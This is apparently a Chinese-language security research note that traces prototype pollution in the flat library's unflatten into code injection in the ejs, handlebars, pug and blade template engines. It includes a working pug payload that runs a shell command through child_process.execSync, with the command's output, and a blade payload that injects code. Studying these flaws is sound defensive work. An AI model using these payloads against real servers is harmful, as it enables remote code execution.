前言 5555学习。
环境搭建 初始化一个web项目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const express = require ('express' )const bodyParser = require ('body-parser' )const unflatten = require ('flat' ).unflatten const app = express () app.use (bodyParser.json ()) app.get ("/" , (req, res ) => { res.send ("Hello World!" ) }) app.post ("/" , (req, res ) => { const data = unflatten (req.body ); console .log (req.body , data, this .polluted ); res.send ("OK" ) }) app.listen (8080 , () => { console .log ("App Running..." ) })
未指定版本下载依赖,但是测试时发现unflatten没有发生原型链污染,怀疑是版本问题,调试发现合并对象时的关键过滤代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Object .keys (target).forEach (function (key ) { const split = key.split (delimiter).map (transformKey) let key1 = getkey (split.shift ()) let key2 = getkey (split[0 ]) let recipient = result while (key2 !== undefined ) { if (key1 === '__proto__' ) { return } ... } ... }
当输入了__proto__.xxx这样的嵌套键值时,会触发过滤导致结果为undefined。
更换一下flat版本,根据官方仓库 ,选择了0.2.0版本的flat,此时可以触发原型链污染漏洞。
原型链污染注入模板解析引擎 ejs 修改一下测试代码,把模板引擎加进来:
1 2 3 4 5 6 7 8 app.post ("/" , (req, res ) => { const data = unflatten (req.body ); const template = ` <h1>Hello, <%= name %>!</h1> ` ; const html = ejs.render (template, data); res.send (html) })
调试一下render函数,读一下模板渲染部分的源码:
1 return handleCache (opts, template)(data);
很明显模板代码最后会被整合成一个匿名函数并执行,所以只要在里面注入字符串代码就能实现RCE。
看到匿名函数主要由两个部分组成,第一部分是编译设置中的一些数据和预置的一些函数,如:
1 2 3 4 if (opts._with !== false ) { prepended += ' with (' + opts.localsName + ' || {}) {' + '\n' ; appended += ' }' + '\n' ; }
如果this.source没有数据,这些代码最后会拼接到this.source中,第二部分就是用户模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 if (opts.compileDebug ) { src = 'var __line = 1' + '\n' + ' , __lines = ' + JSON .stringify (this .templateText ) + '\n' + ' , __filename = ' + sanitizedFilename + ';' + '\n' + 'try {' + '\n' + this .source + '} catch (e) {' + '\n' + ' rethrow(e, __lines, __filename, __line, escapeFn);' + '\n' + '}' + '\n' ; }else { src = this .source ; }
最后会整合成一个匿名函数返回:
1 fn = new ctor (opts.localsName + ', escapeFn, include, rethrow' , src);
根据调试,this中的属性似乎拼接不进去,而可以拼接进去的opts对象是由createNullProtoObjWherePossible函数创建的,看起来无法通过原型链进行污染。
或许低版本没有做那么多防护,可以利用,不多研究了。
handlebars 修改一下:
1 2 3 4 5 6 7 const data = unflatten (req.body );const template = ` <h1>Hello, {{name}}!</h1> ` ;const c = handlebars.compile (template);const html = c (data) res.send (html)
调试发现分为AST解析和执行两个部分,解析出来的AST主要由2个字符串常量和一个变量一共3个部分组成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 [ { type: "ContentStatement" , original: "\n <h1>Hello, " , value: "\n <h1>Hello, " , loc: { ...} , } , { type: "MustacheStatement" , path: { type: "PathExpression" , data: false , depth: 0 , parts: [ "name" , ] , original: "name" , loc: { ...} , } , ... } , { type: "ContentStatement" , original: "!</h1>\n " , value: "!</h1>\n " , ... } , ]
然后分别根据type调用对应的字节码编写函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Program : function Program (program ) { this .options .blockParams .unshift (program.blockParams ); var body = program.body , bodyLength = body.length ; for (var i = 0 ; i < bodyLength; i++) { this .accept (body[i]); } this .options .blockParams .shift (); this .isSimple = bodyLength === 1 ; this .blockParams = program.blockParams ? program.blockParams .length : 0 ; return this ; },
比如字符串常量就交给ContentStatement函数编写成一个appendContent字节码:
1 2 3 4 5 ContentStatement : function ContentStatement (content ) { if (content.value ) { this .opcode ('appendContent' , content.value ); } },
变量访问则交给了PathExpression函数整合成一个lookupOnContext字节码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 PathExpression : function PathExpression (path ) { this .addDepth (path.depth ); this .opcode ('getContext' , path.depth ); var name = path.parts [0 ], scoped = _ast2['default' ].helpers .scopedId (path), blockParamId = !path.depth && !scoped && this .blockParamIndex (name); if (blockParamId) { ... } else { this .opcode ('lookupOnContext' , path.parts , path.falsy , path.strict , scoped); } },
没有发现哪里能注入额外的AST节点。
pug 1 2 3 4 5 6 7 app.post ("/" , (req, res ) => { const data = unflatten (req.body ); const template = `h1 Hello, #{name}!` ; const c = pug.compile (template); const html = c (data) res.send (html) })
pug在将模板解析为AST后遍历该AST,整合成一个匿名函数执行,存在代码注入的可能:
1 2 3 4 5 var parsed = compileBody (str, {...});var res = options.inlineRuntimeFunctions ? new Function ('' , parsed.body + ';return template;' )() : runtimeWrap (parsed.body );
调试发现,代码在遍历AST节点时存在注入:
1 2 3 4 5 6 7 8 if (debug && node.debug !== false && node.type !== 'Block' ) { if (node.line ) { var js = ';pug_debug_line = ' + node.line ; if (node.filename ) js += ';pug_debug_filename = ' + stringify (node.filename ); this .buf .push (js + ';' ); } }
但是经过了stringify函数过滤,无法闭合引号,将字符串变为代码,继续往下看。
根据节点类型调用对应的处理函数,如用于处理h1标签的visitTag函数,当tag节点存在code属性时会进入visitCode函数,该code属性由原型链污染可控:
1 if (tag.code ) this .visitCode (tag.code );
看到这个函数中存在两个注入点,第一个是:
1 2 3 4 5 if (code.block ) { if (!code.buffer ) this .buf .push ('{' ); this .visit (code.block , code); if (!code.buffer ) this .buf .push ('}' ); }
第二个是:
1 2 3 4 5 6 7 8 9 if (code.buffer ) { var val = code.val .trim (); val = 'null == (pug_interp = ' + val + ') ? "" : pug_interp' ; if (code.mustEscape !== false ) val = this .runtime ('escape' ) + '(' + val + ')' ; this .bufferExpression (val); } else { this .buf .push (code.val ); }
都可以将代码插入匿名函数中,可以利用:
1 { "name" : "Twings" , "__proto__.code" : true , "__proto__.__proto__.buffer" : true , "__proto__.__proto__.val" : "(process.mainModule.require('child_process').execSync(`whoami`))" }
看到命令成功执行:
1 2 <h1 > laptop-mu9vjouc\twings Hello, Twings!</h1 >
blade 1 2 3 4 5 6 7 8 9 app.post ("/" , (req, res ) => { const data = unflatten (req.body ); const template = `h1 Blade is cool` ; blade.compile (template, {}, function (err, tmpl ) { tmpl (data, function (err, html ) { res.send (html) }) }); })
阅读模板解析源码,跟pug类似,也是先解析成AST再整合成匿名函数的方式,很多地方都加上了JSON.stringify的过滤,跟入_compileNode函数,当节点类型为tag时,存在一个没有过滤且可能可控的代码注入点:
1 2 if (varAttrs.length > 0 ) this ._pushOff (ns + ".r.attrs({" + varAttrs.substr (1 ) + "}, " + ns + ");" );
varAttrs来自前面的循环块,从attrs中获取,而attrs则从节点的attributes属性中获取,找到AST构建部分的parse_tag函数,节点的attributes由parse_attributes函数获得:
1 2 3 4 5 6 7 8 var tag = { 'type' : "tag" , 'name' : tagName == "" ? "div" : tagName, 'id' : id_class.id , 'classes' : id_class.classes , 'attributes' : attrs == "" ? {} : attrs, 'children' : [] };
观摩一下parse_attributes函数,attrs的获取如下:
1 2 3 4 5 6 7 8 9 if (result0 !== null ) { result0 = (function (offset, line, column, first_attr, next_attrs ) { var attrs = {}; attrs[first_attr.name ] = first_attr.value ; for (var i in next_attrs) attrs[next_attrs[i].name ] = next_attrs[i].value ; return attrs; })(pos0.offset , pos0.line , pos0.column , result0[3 ], result0[4 ]); }
首先要让result0不为null,但是阅读源码后发现该条件对模板有要求,要求模板中存在左括号相关的写法,随便修改一下模板:
1 const template = `h1( Blade is )cool` ;
观察attrs的获取方法,for in语法会访问原型属性,因此这一句代码会根据原型属性修改attrs:
1 attrs[next_attrs[i].name ] = next_attrs[i].value ;
如果构造失误导致了undefined数据,后面从attrs取出数据时就会发生错误,测试用的输入:
1 { "__proto__.code" : "console.log(233)" , "__proto__.__proto__.name" : "Twings" , "__proto__.__proto__.value" : "Twings" }
此时会给varAttrs插入代码:
1 2 3 4 varAttrs += "," + JSON .stringify (i) + ":{v:" + attrs[i].code + (attrs[i].escape ? ",e:1" : "" ) + (i == "class" && attrs[i].append ? ",a:" + JSON .stringify (attrs[i].append ): "" ) + "}" ;
此时的varAttrs如下:
1 ",\"Twings\":{v:console.log (233 )},\"code \":{v:console.log (233 )},\"name\":{v:console.log (233 )},\"value\":{v:console.log (233 )}"
可以看到代码被注入且正常执行了。
参考 一文带你理解AST Injection